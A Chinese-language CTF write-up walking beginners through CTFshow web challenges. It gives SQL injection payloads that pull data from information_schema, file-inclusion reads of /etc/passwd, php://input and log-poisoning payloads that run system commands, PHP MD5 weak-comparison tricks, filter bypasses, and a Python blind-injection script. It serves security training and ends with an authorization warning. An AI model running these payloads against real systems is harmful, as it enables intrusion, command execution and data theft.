作为一名长期活跃在CTF赛场的选手,我经常遇到各种Web安全挑战。今天我将分享一套完整的CTF Web题目解题思路,涵盖从基础注入到高级绕过技巧的实战经验。这些题目来自CTFshow平台的Web入门系列,非常适合刚接触Web安全的新手学习。
这道题目考察的是最基本的源码查看能力。很多CTF题目会将关键信息隐藏在网页源码或注释中。
解题步骤:
bash复制echo "编码字符串" | base64 -d
注意:现代浏览器都内置了开发者工具(F12),但有些比赛环境可能需要使用curl等命令行工具获取源码:
bash复制curl http://target_url
这是典型的布尔盲注题目,考察最基本的SQL注入技巧。
完整注入流程:
测试注入点:
sql复制1' or 1=1#
确定列数(UNION注入前置步骤):
sql复制1' union select 1,2,3#
获取当前数据库名:
sql复制1' union select 1,database(),3#
获取表名:
sql复制1' union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3#
获取列名:
sql复制1' union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3#
最终获取flag:
sql复制1' union select 1,(select flag from flag limit 0,1),3#
实战技巧:information_schema是MySQL的系统数据库,包含所有数据库、表和列的元数据,是SQL注入的关键突破口。
题目给出了明显的文件包含漏洞:
php复制<?php include($_GET['url']);?>
解题思路:
code复制/?url=/etc/passwd
bash复制curl -X POST --data "<?php system('ls');?>" "http://target/?url=php://input"
bash复制curl -X POST --data "<?php system('cat ctf_go_go_go');?>" "http://target/?url=php://input"
同样是文件包含,但php://input被禁用。这时需要考虑日志注入。
完整攻击链:
code复制/?url=/var/log/nginx/access.log
bash复制curl -A "<?php system($_GET['a']);?>" http://target/
code复制/?url=/var/log/nginx/access.log&a=cat+/flag
关键原理:Web服务器会将请求信息记录到日志中,通过精心构造的User-Agent可以将PHP代码写入日志,再利用文件包含漏洞执行这些代码。
题目要求两个变量的MD5值弱类型相等:
php复制if($v1 != $v2 && md5($v1) == md5($v2)){
// 输出flag
}
解决方案:
使用已知的MD5碰撞字符串:
code复制v1=QNKCDZO
v2=240610708
科学原理:
这些字符串的MD5值都以"0e"开头,PHP弱类型比较时会将其视为科学计数法的0。
更复杂的代码审计题目,通过目录扫描发现源码文件(index.phps)。
关键代码:
php复制$password = $_POST['password'];
if(strlen($password)>10){
die("password too long");
}
if(md5($password,true) == $_POST['username']){
// 登录成功
}
利用方法:
使用经典万能密码:
code复制username=1
password=ffifdyop
技术原理:
md5("ffifdyop",true)的结果包含'or'等特殊字符,可以构造出永真SQL条件。
当基础注入失败时,需要考虑过滤绕过技术。
常见绕过方法:
| 被过滤字符 | 替代方案 |
|---|---|
| 空格 | /**/ |
| 单引号 | 双引号 |
| 逗号 | from...for |
| union | 无解,需换方法 |
实际payload示例:
sql复制1'/**/union/**/select/**/1,database(),3#
当注入变得复杂时,可以编写自动化脚本。以下是Python实现的盲注脚本:
python复制import requests
url = 'http://target/index.php?id=-1/**/or/**/'
result = ''
for i in range(1,50):
for j in range(32,127):
payload = f'ascii(substr((select flag from flag)from/**/{i}/**/for/**/1))={j}'
r = requests.get(url+payload)
if 'exists' in r.text:
result += chr(j)
print(result)
break
脚本优化建议:
在CTF比赛中,Web题目往往考察以下几个方面的综合能力:
信息收集能力:
漏洞利用技巧:
绕过能力:
工具使用:
对于初学者,我建议从以下几个方面入手提高:
在真实环境中测试这些技术时,请务必确保获得了合法授权。未经授权的测试可能违反法律。